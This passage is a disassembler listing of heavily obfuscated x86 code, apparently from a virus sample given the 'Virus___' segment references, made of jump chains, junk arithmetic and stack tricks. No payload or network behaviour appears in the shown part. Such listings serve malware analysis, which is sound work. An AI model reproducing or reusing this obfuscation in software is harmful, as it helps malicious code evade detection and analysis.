edx, 4 xchg edx, [esp-2Ch+arg_26+2] mov esp, [esp-2Ch+arg_26+2] mov eax, ebx mov ebx, [esp-2Ch+arg_26+2] add esp, 4 jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C624: ; CODE XREF: sub_545A2B+54CDj mov [esp-32h+arg_2E], eax mov eax, esp push esi jmp loc_54E39C ; --------------------------------------------------------------------------- loc_54C62F: ; CODE XREF: sub_545877+13j add esp, 4 xor ebx, 7E7D76F4h and eax, ebx mov ebx, [esp-32h+arg_2E] jmp loc_54C51B ; --------------------------------------------------------------------------- loc_54C645: ; CODE XREF: sub_545A2B+496Aj sub eax, 1BD02657h pop edx add ebp, 54180CAAh add ebp, eax sub ebp, 54180CAAh pop eax push edx mov edx, 4 jmp loc_54ACB5 ; --------------------------------------------------------------------------- loc_54C665: ; CODE XREF: sub_545A2B+165Dj pop ecx add esi, 4 xchg esi, [esp-64h+arg_60] pop esp jmp loc_54780A ; --------------------------------------------------------------------------- loc_54C675: ; CODE XREF: sub_545A2B+5090j pop esp xor ebp, [esp-26h+arg_22] xor [esp-26h+arg_22], ebp jmp loc_543833 ; --------------------------------------------------------------------------- loc_54C681: ; CODE XREF: sub_545A2B-200Dj push ecx jmp loc_548238 ; --------------------------------------------------------------------------- loc_54C687: ; CODE XREF: sub_545A2B+5239j add edx, esi pop esi push ebx push edx mov edx, 29EE6EB3h mov ebx, 0D6119151h jmp loc_5446E6 ; --------------------------------------------------------------------------- loc_54C69B: ; CODE XREF: sub_545A2B+93CBj pop ebp xor ebp, ebx jmp loc_54D437 ; --------------------------------------------------------------------------- loc_54C6A3: ; CODE XREF: sub_545A2B+2B48j shl ebx, 7 sub ebx, 704663DCh dec ebx add ebx, 910896A6h jmp loc_549345 ; --------------------------------------------------------------------------- loc_54C6B8: ; CODE XREF: sub_545A2B-21FDj xor ebx, eax movzx ax, byte ptr [eax] jmp loc_549B49 ; --------------------------------------------------------------------------- loc_54C6C3: ; CODE XREF: sub_545A2B+2BD9j mov [esp-38h+arg_32+2], esp add [esp-38h+arg_32+2], 4 push [esp-38h+arg_32+2] pop ebp jmp loc_547624 ; --------------------------------------------------------------------------- loc_54C6D3: ; CODE XREF: sub_545A2B-29ABj shr ecx, 2 jmp loc_54A4FA ; --------------------------------------------------------------------------- loc_54C6DB: ; CODE XREF: sub_545A2B+8CCBj sub esi, ebp jmp loc_547C3A ; --------------------------------------------------------------------------- loc_54C6E2: ; CODE XREF: sub_545A2B+32B6j xchg ebp, [esp-16h+arg_12] pop esp jmp loc_5468B1 ; --------------------------------------------------------------------------- loc_54C6EB: ; CODE XREF: sub_545A2B+81D2j add ebx, eax push 4718h mov [esp-16h+arg_12], ecx push esi push ecx push 31810F7Ch pop ecx shr ecx, 6 sub ecx, 0D3BAD01Dh mov esi, ecx pop ecx mov ecx, 334C924Dh jmp loc_549406 ; --------------------------------------------------------------------------- loc_54C713: ; CODE XREF: sub_545A2B-27E3j push 463h jmp loc_54A427 ; --------------------------------------------------------------------------- loc_54C71D: ; CODE XREF: sub_545A2B+396Dj mov edx, 88541D5h push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-18h+arg_12+2] jmp loc_54ADC1 ; --------------------------------------------------------------------------- loc_54C737: ; CODE XREF: sub_545A2B+743Cj xchg eax, [esp-18h+arg_12+2] pop esp jmp loc_5475CB ; --------------------------------------------------------------------------- push [esp-1Ch+arg_16+2] jmp loc_54BF61 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb word ptr [esp-1Ah+arg_16], ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C758: ; CODE XREF: sub_545A2B+3932j mov edi, ebp jmp sub_54DECB ; --------------------------------------------------------------------------- loc_54C75F: ; CODE XREF: sub_545A2B+2091j shl eax, 2 shl eax, 6 push 0 sub [esp-40h+arg_3A+2], eax pop eax jmp loc_54ECD2 ; --------------------------------------------------------------------------- loc_54C773: ; CODE XREF: sub_545A2B-DC1j shr ebp, 2 sub ebp, 0CC43ADD5h and esi, ebp pop ebp inc esi jmp loc_544241 ; --------------------------------------------------------------------------- loc_54C785: ; CODE XREF: Virus___:0054D344j push [esp-1Ch+arg_16+2] jmp loc_548610 ; --------------------------------------------------------------------------- loc_54C78D: ; CODE XREF: sub_545A2B+3431j add eax, ebx mov ebx, [esp-1Ah+arg_16] push esi jmp loc_54507E ; --------------------------------------------------------------------------- loc_54C798: ; CODE XREF: sub_545A2B+63DAj dec dx inc dx add dx, 5BA7h xor dx, 0C760h sub bx, dx pop edx add bx, ax add bx, 38C7h push small 0FBDh jmp loc_54CA11 ; --------------------------------------------------------------------------- loc_54C7BB: ; CODE XREF: sub_545A2B-1AF6j add eax, 0B5CA0C0Fh mov edi, eax pop eax add eax, edi pop edi not eax sub eax, 0EE4056ADh add edi, eax pop eax sub edi, 0A9A3D95Eh or edi, 611D28B1h shl edi, 2 push edi push ecx jmp loc_54347C ; --------------------------------------------------------------------------- loc_54C7E6: ; CODE XREF: sub_545A2B+2B6Bj or edx, 4C88019Ch jmp loc_549C08 ; --------------------------------------------------------------------------- loc_54C7F1: ; CODE XREF: sub_545A2B+5F46j mov ch, ah pop eax jmp loc_543988 ; --------------------------------------------------------------------------- loc_54C7F9: ; CODE XREF: sub_545A2B-2977j push esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp-0Eh+arg_A] pop esp push small 5772h mov word ptr [esp-10h+arg_A+2], ax mov ah, 7Bh sub bl, 8Eh add bl, ah jmp loc_5434DF ; --------------------------------------------------------------------------- loc_54C81A: ; CODE XREF: sub_545A2B+8BFj sub esi, 0EC5C9575h jmp loc_545DB8 ; --------------------------------------------------------------------------- loc_54C825: ; CODE XREF: sub_545A2B+4634j or bl, 38h push ecx mov cl, 68h add bl, cl jmp loc_543E55 ; --------------------------------------------------------------------------- loc_54C832: ; CODE XREF: sub_545A2B+83C6j push edi jmp loc_549DBB ; --------------------------------------------------------------------------- loc_54C838: ; CODE XREF: sub_545A2B+6EA2j push ebx mov ebx, 2 sub eax, ebx mov ebx, [esp-18h+arg_12+2] add esp, 4 xchg eax, [esp-1Ch+arg_16+2] jmp loc_54AD8D ; --------------------------------------------------------------------------- loc_54C851: ; CODE XREF: Virus___:0054F3F6j mov ebp, esp add ebp, 4 jmp loc_544F3C ; --------------------------------------------------------------------------- loc_54C85E: ; CODE XREF: sub_545A2B+Aj push edi jmp loc_5430FA sub_545A2B endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, [esp] push edi jmp loc_545622 ; --------------------------------------------------------------------------- loc_54C86D: ; DATA XREF: Virus___:00542E9Co mov cx, [esp] push ebp jmp loc_544A17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54C877: ; CODE XREF: sub_545A2B-1C4Bj pop ecx add ebx, edi pop edi jmp loc_54F4A3 ; --------------------------------------------------------------------------- loc_54C880: ; CODE XREF: sub_545A2B+7624j push esi jmp loc_54630E ; --------------------------------------------------------------------------- loc_54C886: ; CODE XREF: sub_545A2B+5E39j mov ecx, 399061D8h xchg ebp, ecx not ebp xchg ebp, ecx sub ecx, 0C66F9E23h add ebp, ecx pop ecx sub ebp, 4 xchg ebp, [esp-22h+arg_1E] pop esp mov [esp-26h+arg_22], eax jmp loc_545E65 ; --------------------------------------------------------------------------- loc_54C8A9: ; CODE XREF: sub_545A2B+6E7j mov [esp-1Ah+arg_16], ebp mov ebp, 4 add ecx, 2D1B44C9h sub ecx, ebp push edx jmp loc_549716 ; --------------------------------------------------------------------------- loc_54C8BF: ; CODE XREF: sub_545A2B+17E9j sub edi, 0ECACC2Bh jmp loc_54B237 ; --------------------------------------------------------------------------- loc_54C8CA: ; CODE XREF: sub_545A2B+5609j add eax, edi pop edi jmp loc_54C838 ; --------------------------------------------------------------------------- loc_54C8D2: ; CODE XREF: sub_545A2B+2068j add esp, 4 sub eax, 61901730h add eax, 1CF60848h jmp loc_54B3B5 ; --------------------------------------------------------------------------- loc_54C8E7: ; CODE XREF: sub_545A2B+6EE0j mov ebx, [esp-50h+arg_4C] add esp, 4 push esi push edi mov edi, 0F3993CBCh mov esi, edi pop edi sub eax, esi jmp loc_54ACFC ; --------------------------------------------------------------------------- loc_54C901: ; CODE XREF: sub_545A2B-1FFDj mov [esp-4Ch+arg_46+2], ebx mov ebx, 6ECD4EB8h and eax, ebx jmp loc_54C8E7 ; --------------------------------------------------------------------------- loc_54C910: ; CODE XREF: sub_545A2B+158Fj pop esi sub edi, 2D364457h push eax jmp loc_545895 ; --------------------------------------------------------------------------- loc_54C91D: ; CODE XREF: sub_545A2B+2489j pop edi jmp loc_54A1B7 ; --------------------------------------------------------------------------- loc_54C923: ; CODE XREF: sub_545A2B-F95j add edi, ebp pop ebp xchg edi, [esp-54h+arg_50] pop esp push ecx mov ecx, 46FB617Fh jmp loc_54583F ; --------------------------------------------------------------------------- loc_54C935: ; CODE XREF: sub_545A2B+7A72j push 218D5F57h pop ebx not ebx or ebx, 408E0343h or ebx, 2D4000DDh xor ebx, 8446B2F6h jmp loc_54D590 ; --------------------------------------------------------------------------- loc_54C954: ; CODE XREF: sub_545A2B+42AFj xor [esp-1Ah+arg_1A], ebp pop ebp jmp loc_548F3F ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54C95E proc near ; CODE XREF: sub_545A2B+1BD0j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00545372 SIZE 00000009 BYTES sub esp, 4 mov [esp+4+var_4], esi jmp loc_545372 sub_54C95E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54C969: ; CODE XREF: sub_545A2B+9324j xor ebp, [esp-1Eh+arg_1A] jmp loc_5462D8 ; --------------------------------------------------------------------------- loc_54C971: ; CODE XREF: sub_545A2B+8529j xor [esp-1Eh+arg_1A], eax xor eax, [esp-1Eh+arg_1A] jmp loc_5466FE ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54317D loc_54C97C: ; CODE XREF: sub_54317D+89Bj push 24DC411Fh push [esp+0Ch+var_C] pop ecx add esp, 4 jmp loc_54CEEA ; END OF FUNCTION CHUNK FOR sub_54317D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54C98D: ; CODE XREF: sub_545A2B+6966j push 179Bh jmp loc_54B12F ; --------------------------------------------------------------------------- loc_54C997: ; CODE XREF: sub_545A2B+1081j mov ebx, [esp-3Ah+arg_36] add esp, 4 add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] xor [esp-3Eh+arg_3A], ebx xor ebx, [esp-3Eh+arg_3A] xor [esp-3Eh+arg_3A], ebx sub ebx, 0FFFFFFFFh sub esp, 4 mov [esp-3Ah+arg_36], ebx push [esp-3Ah+arg_3A] mov ebx, [esp-36h+arg_32] jmp loc_54364C ; --------------------------------------------------------------------------- loc_54C9CB: ; CODE XREF: sub_545A2B+9166j not edi dec edi add edi, 40BB6192h xor edi, 2C4D798Dh sub edi, 7161A837h jmp loc_54460B ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54C9E5 proc near ; CODE XREF: sub_545A2B-FDFj sub esp, 4 jmp loc_549706 sub_54C9E5 endp ; =============== S U B R O U T I N E ======================================= sub_54C9ED proc near ; CODE XREF: sub_545A2B+8393j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005450A3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0054E1BC SIZE 00000013 BYTES push ebx push ecx mov cl, 0FCh or cl, 30h sub cl, 9Fh jmp loc_5450A3 sub_54C9ED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54C9FC: ; CODE XREF: sub_545A2B+8A6Fj sub bl, dh sub bl, 0AAh mov edx, [esp-36h+arg_32] jmp loc_547A7D ; --------------------------------------------------------------------------- loc_54CA09: ; CODE XREF: sub_545A2B+13CBj add esi, ebp pop ebp jmp loc_54BE8A ; --------------------------------------------------------------------------- loc_54CA11: ; CODE XREF: sub_545A2B+6D8Bj mov word ptr [esp-20h+arg_1A+2], bp push eax mov ax, 55CEh not ax push si jmp loc_54AB7A ; --------------------------------------------------------------------------- loc_54CA24: ; CODE XREF: sub_545A2B+2CF5j not bh inc bh xor bh, 99h jmp loc_547B68 ; --------------------------------------------------------------------------- loc_54CA30: ; CODE XREF: sub_545A2B-527j sub edi, esi pop esi xchg edi, [esp-3Eh+arg_3A] pop esp mov [esp-42h+arg_3E], ecx push esp pop ecx jmp loc_54CB6F ; --------------------------------------------------------------------------- loc_54CA41: ; CODE XREF: sub_545A2B+1EC4j pop ax shl bh, 8 add bh, 0C8h add al, 10h sub al, 78h sub al, bh add al, 78h sub al, 10h jmp loc_54B82B ; --------------------------------------------------------------------------- loc_54CA58: ; CODE XREF: sub_545A2B+1090j and esi, 51CF1B06h add esi, 0FFFFFFFFh xchg eax, esi not eax xchg eax, esi jmp loc_54703D ; --------------------------------------------------------------------------- loc_54CA6A: ; CODE XREF: sub_545A2B+7250j not ecx xchg ecx, edx add edx, 1EC522E4h shr edx, 4 push eax mov eax, 14501643h jmp loc_545BA9 ; --------------------------------------------------------------------------- loc_54CA82: ; CODE XREF: sub_545A2B+58E7j add edi, 4 sub edi, 4 xchg edi, [esp-4Ah+arg_46] pop esp mov [esp+0], ecx mov ecx, 751A5B44h sub [esp-4Eh+arg_4C+2], 7486276Eh add [esp-4Eh+arg_4C+2], ecx jmp loc_54A548 ; --------------------------------------------------------------------------- loc_54CAAB: ; CODE XREF: sub_545A2B+97B7j xor edx, eax jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54CAB2: ; CODE XREF: sub_545A2B+63D1j mov edx, 5E4A5C69h inc edx sub edx, 607993D1h add ebx, edx pop edx push 0AB4h mov [esp-1Eh+arg_1A], ecx jmp loc_54EED5 ; --------------------------------------------------------------------------- loc_54CACE: ; CODE XREF: sub_545A2B+9690j pop esi and eax, edx mov edx, [esp-22h+arg_1E] add esp, 4 or edx, eax shl edx, 1 sub esp, 4 jmp loc_548644 ; --------------------------------------------------------------------------- loc_54CAE9: ; CODE XREF: sub_545A2B+3827j pop ebx push edi push esi mov esi, 784C261Fh jmp loc_54614D ; --------------------------------------------------------------------------- loc_54CAF6: ; CODE XREF: sub_545A2B+48DEj sub ebx, 4 xchg ebx, [esp-34h+arg_2E+2] jmp loc_543D52 ; --------------------------------------------------------------------------- loc_54CB04: ; CODE XREF: sub_545A2B-A3Ej mov eax, 4 add ecx, eax pop eax xchg ecx, [esp-28h+arg_22+2] mov esp, [esp-28h+arg_22+2] add ebx, 2 jmp loc_54C212 ; --------------------------------------------------------------------------- loc_54CB1D: ; CODE XREF: sub_545A2B+863Aj push edi jmp loc_549A89 ; --------------------------------------------------------------------------- loc_54CB23: ; CODE XREF: sub_545A2B+8D39j pop eax push esi add [esp-24h+arg_1E+2], 0FFFFFFFFh pop esi shr esi, 7 push esi not [esp-24h+arg_1E+2] pop esi add esi, 9DFAB1h push esi jmp loc_54DE8C ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54CB3E: ; DATA XREF: Virus___:00542E88o push dword ptr [esp] jmp loc_54D30B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54EB9E loc_54CB46: ; CODE XREF: sub_54EB9E+6j mov [esp+4+var_4], esp jmp loc_544C9C ; END OF FUNCTION CHUNK FOR sub_54EB9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CB4E: ; CODE XREF: sub_545A2B+287Bj add eax, 4 sub eax, 4 xchg eax, [esp-40h+arg_3A+2] pop esp mov [esp-44h+arg_3E+2], ebp mov ebp, esp push ebx mov ebx, 4 jmp loc_54D37B ; --------------------------------------------------------------------------- loc_54CB6A: ; CODE XREF: sub_545A2B+914Bj jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54CB6F: ; CODE XREF: sub_545A2B+7011j push esi push edi mov edi, 542239BFh mov esi, 0A4DB42DFh sub esi, edi pop edi not esi or esi, 32D77828h add esi, 40280105h add ecx, esi pop esi add ecx, 4 xchg ecx, [esp-42h+arg_3E] pop esp pop [esp-46h+arg_42] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54CBA1: ; CODE XREF: sub_545A2B+38D3j pop dword ptr [esp+0] pop esp mov [esp-56h+arg_50+2], ebx push esi jmp loc_54C599 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov ax, fs:[edx] push eax push esp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push edx mov edx, 4 sub esp, 4 jmp loc_54EB57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CBDE: ; CODE XREF: sub_545A2B+4EDDj add ecx, eax pop eax xchg ecx, [esp-16h+arg_12] jmp loc_5464AF ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov cx, [esp] push edx jmp loc_547037 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CBF3: ; CODE XREF: sub_545A2B+829Aj mov [esp-16h+arg_12], edx mov edx, 32BD1B17h push ebx mov ebx, edx mov ebp, ebx pop ebx pop edx jmp loc_54D68F ; --------------------------------------------------------------------------- loc_54CC07: ; CODE XREF: sub_545A2B+630j pop esp push edi push ecx mov ecx, 4 mov edi, ecx jmp loc_54E63C ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54CC16 proc near ; CODE XREF: sub_545A2B-26C0j push ebx mov ebx, 2 sub eax, ebx pop ebx jmp loc_547913 sub_54CC16 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CC24: ; CODE XREF: sub_545A2B-1EEBj add edx, ecx push [esp-26h+arg_22] pop ecx add esp, 4 shr edx, 4 shr edx, 2 push ebx jmp loc_5442CE ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54CC39: ; DATA XREF: Virus___:00542ED8o push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CC48: ; CODE XREF: sub_545A2B+15C2j pop edx jmp loc_54C110 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543D76 loc_54CC4E: ; CODE XREF: sub_543D76+93A8j push eax mov eax, 2 jmp loc_549F38 ; END OF FUNCTION CHUNK FOR sub_543D76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CC59: ; CODE XREF: sub_545A2B+2954j add eax, ecx pop ecx xchg eax, [esp-1Ah+arg_16] pop esp add esp, 4 jmp loc_543C3C ; --------------------------------------------------------------------------- loc_54CC68: ; CODE XREF: sub_545A2B+3E38j mov [edi+eax*4], cl mov ecx, [esp+0] jmp loc_54A713 ; --------------------------------------------------------------------------- loc_54CC73: ; CODE XREF: sub_545A2B+6484j add edx, 3AEB052Fh xchg ecx, edx jmp loc_54CA6A ; --------------------------------------------------------------------------- loc_54CC80: ; CODE XREF: sub_545A2B+18EFj push 1DBEh mov [esp-18h+arg_12+2], edx mov edx, 5A0A2500h mov eax, 5A0A2524h sub eax, edx mov edx, [esp-18h+arg_12+2] jmp loc_544772 ; --------------------------------------------------------------------------- loc_54CC9C: ; CODE XREF: sub_545A2B+8834j add esp, [edx+38h] sub esp, 4 mov [esp-14h+arg_E+2], ebp push esp pop ebp add ebp, 4 sub ebp, 4 xor ebp, [esp-14h+arg_E+2] jmp loc_545525 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54CCBE: ; DATA XREF: Virus___:00542D20o mov cx, [esp] push edx jmp loc_545234 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CCC8: ; CODE XREF: sub_545A2B+9986j xchg eax, edx inc eax xchg eax, edx jmp loc_54BA16 ; --------------------------------------------------------------------------- loc_54CCD0: ; CODE XREF: sub_545A2B-C79j pop esp jmp loc_549DC6 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545002 loc_54CCD6: ; CODE XREF: sub_545002+1Bj mov [esp+8+var_8], ecx mov ecx, 19C66624h not ecx shr ecx, 7 add ecx, 5BE80730h not ecx or ecx, 626B7DCBh dec ecx shr ecx, 3 add ecx, 0E3B28049h sub ebx, 803FCBh add ebx, ecx add ebx, 803FCBh jmp loc_5472A7 ; END OF FUNCTION CHUNK FOR sub_545002 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54E80B loc_54CD0E: ; CODE XREF: sub_54E80B+6j mov ebx, 0F5F89CE2h xor edx, ebx jmp loc_54D1EB ; END OF FUNCTION CHUNK FOR sub_54E80B ; --------------------------------------------------------------------------- lodsb add al, 0ADh push ecx mov cl, 7Ah add al, 3 add al, cl jmp loc_54AF1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CD29: ; CODE XREF: sub_545A2B-A68j add [esp-1Ch+arg_16+2], 0FFFFFFFFh pop edi shl edi, 5 neg edi shl edi, 8 sub edi, 3A7C3FFCh sub ebp, edi pop edi xchg ebp, [esp-24h+arg_1E+2] pop esp jmp loc_54873C ; --------------------------------------------------------------------------- loc_54CD4B: ; CODE XREF: sub_545A2B+3BB1j push [esp-6+arg_0+2] jmp loc_54DED1 ; --------------------------------------------------------------------------- loc_54CD53: ; CODE XREF: sub_545A2B+1877j mov ebp, [esp-40h+arg_3A+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_545C40 ; --------------------------------------------------------------------------- loc_54CD67: ; CODE XREF: sub_545A2B-121Cj add eax, 315B1E4Ah add eax, 47124A69h inc eax neg eax add eax, 4169041Dh add eax, 16A6DB00h jmp loc_5483FA ; --------------------------------------------------------------------------- loc_54CD83: ; CODE XREF: sub_545A2B+9142j add eax, ebx mov ebx, [esp-36h+arg_32] push edi push esp jmp loc_54BF28 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov ax, [esp] push edi mov edi, esp jmp loc_547276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CD9B: ; CODE XREF: sub_545A2B+7B90j add edi, ecx pop ecx add eax, edi pop edi sub eax, ebp sub eax, 29062DC0h mov ebp, [esp-36h+arg_32] push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp-32h+arg_2E] xor [esp-32h+arg_2E], esi xor esi, [esp-32h+arg_2E] pop esp jmp loc_5444AE ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov cx, [esp] push 3A7Eh mov [esp], esi push edi jmp loc_5430C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54E0D7 loc_54CDDB: ; CODE XREF: sub_54E0D7+9j push eax mov al, 61h mov cl, 8Ch jmp loc_54716D ; END OF FUNCTION CHUNK FOR sub_54E0D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CDE5: ; CODE XREF: sub_545A2B+66DAj pop eax push ecx jmp loc_5499EC ; --------------------------------------------------------------------------- loc_54CDEC: ; CODE XREF: sub_545A2B+75F4j mov [esp-0Eh+arg_A], ebx jmp loc_54588F ; --------------------------------------------------------------------------- loc_54CDF4: ; CODE XREF: sub_545A2B+8E1Aj pop ebx jmp loc_54E9FF ; --------------------------------------------------------------------------- loc_54CDFA: ; CODE XREF: sub_545A2B-CF6j add ebx, 45466663h sub ebx, edx sub ebx, 45466663h pop edx push edx mov edx, 4AB561CFh push 27F2h jmp loc_54D499 ; --------------------------------------------------------------------------- loc_54CE19: ; CODE XREF: sub_545A2B-22C2j mov esp, [esp-16h+arg_12] jmp loc_548F25 ; --------------------------------------------------------------------------- loc_54CE21: ; CODE XREF: sub_545A2B+150Bj pop esp sub esp, 4 mov [esp-28h+arg_22+2], esp add [esp-28h+arg_22+2], 4 jmp loc_543EF8 ; --------------------------------------------------------------------------- loc_54CE34: ; CODE XREF: sub_545A2B+9E6j add edx, 4 xchg edx, [esp-40h+arg_3A+2] jmp loc_54C390 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov cx, [esp] push ecx mov ecx, esp push 5266h jmp loc_549FDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CE53: ; CODE XREF: sub_545A2B-41Cj push [esp-14h+arg_E+2] mov edx, [esp-10h+arg_A+2] push ebp jmp loc_54DA9D ; --------------------------------------------------------------------------- loc_54CE5F: ; CODE XREF: sub_545A2B+29CAj add eax, 4 add eax, 4 jmp loc_54C737 ; --------------------------------------------------------------------------- loc_54CE6C: ; CODE XREF: sub_545A2B+3BE7j xchg edx, [esp-1Eh+arg_1A] mov esp, [esp-1Eh+arg_1A] jmp loc_54BD34 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54CE77 proc near ; DATA XREF: Virus___:00542EDCo lodsd xor eax, ebx sub esp, 4 jmp loc_545E82 sub_54CE77 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CE85: ; CODE XREF: sub_545A2B+756Bj xor edx, edi mov edi, [esp-1Eh+arg_1A] jmp loc_54C532 ; --------------------------------------------------------------------------- loc_54CE8F: ; CODE XREF: sub_545A2B+74Aj mov [esp-1Ah+arg_16], eax push esp push [esp-16h+arg_12] pop eax push ebp mov ebp, esp push edi mov edi, 29B556ABh xor edi, 76DE246Ah dec edi push 0 sub [esp-0Ah+arg_4+2], edi pop edi inc edi xor edi, 0A0948D45h add ebp, edi pop edi push eax jmp loc_545D4F ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54CEC0 proc near ; CODE XREF: sub_545A2B+2A4Bj var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00543AFA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0054F35F SIZE 00000010 BYTES push ebp push edi sub esp, 4 mov [esp+0Ch+var_C], ebp push 470F4DD4h pop ebp sub ebp, 593D4267h shr ebp, 5 jmp loc_543AFA sub_54CEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CEDC: ; CODE XREF: sub_545A2B+7A93j add bl, 0D9h pop cx push cx mov cl, 52h jmp loc_549FEC ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54317D loc_54CEEA: ; CODE XREF: sub_54317D+980Bj dec ecx add ecx, 74B2D5Bh jmp loc_543485 ; END OF FUNCTION CHUNK FOR sub_54317D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CEF6: ; CODE XREF: sub_545A2B+2EEDj mov bh, 0B5h push ecx jmp loc_548D00 ; --------------------------------------------------------------------------- loc_54CEFE: ; CODE XREF: sub_545A2B+5E2j pop [esp-18h+arg_12+2] pop esp mov [esp-20h+arg_1A+2], ecx mov ecx, 40000h and eax, ecx mov ecx, [esp-20h+arg_1A+2] push eax jmp loc_5490A4 ; --------------------------------------------------------------------------- loc_54CF15: ; CODE XREF: sub_545A2B+FFAj sub esp, 4 jmp loc_545F07 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54CF1D proc near ; CODE XREF: sub_545A2B+3DE8j push ebx mov bl, 11h add ah, bl pop ebx mov bh, ah mov eax, [esp+0] push ecx jmp loc_547674 sub_54CF1D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CF2E: ; CODE XREF: sub_545A2B+93AAj mov [esp-44h+arg_3E+2], esi pop ebx jmp loc_5454E2 ; --------------------------------------------------------------------------- loc_54CF37: ; CODE XREF: sub_545A2B+2754j xor eax, 5FD50073h xor eax, 0FBE1257Bh mov ecx, eax pop eax jmp loc_54C3E4 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54CF49 proc near ; DATA XREF: Virus___:00542E5Co var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00544732 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00544BD3 SIZE 00000016 BYTES mov cx, [esp+0] push esi push 36AEh push esp pop [esp+0Ch+var_C] sub esp, 4 mov [esp+0Ch+var_C], ecx mov ecx, 4 jmp loc_544BD3 sub_54CF49 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CF67: ; CODE XREF: sub_545A2B+8120j push [esp-4Ch+arg_4C] jmp loc_54A2A4 ; --------------------------------------------------------------------------- loc_54CF70: ; CODE XREF: sub_545A2B+94F8j add esi, edx mov edx, [esp-48h+arg_42+2] sub esp, 4 mov [esp-44h+arg_3E+2], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_549260 ; --------------------------------------------------------------------------- loc_54CF8E: ; CODE XREF: sub_545A2B+203Ej mov [esp-50h+arg_4C], edi mov edi, 29164FCFh jmp loc_54CE85 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54CF9B: ; 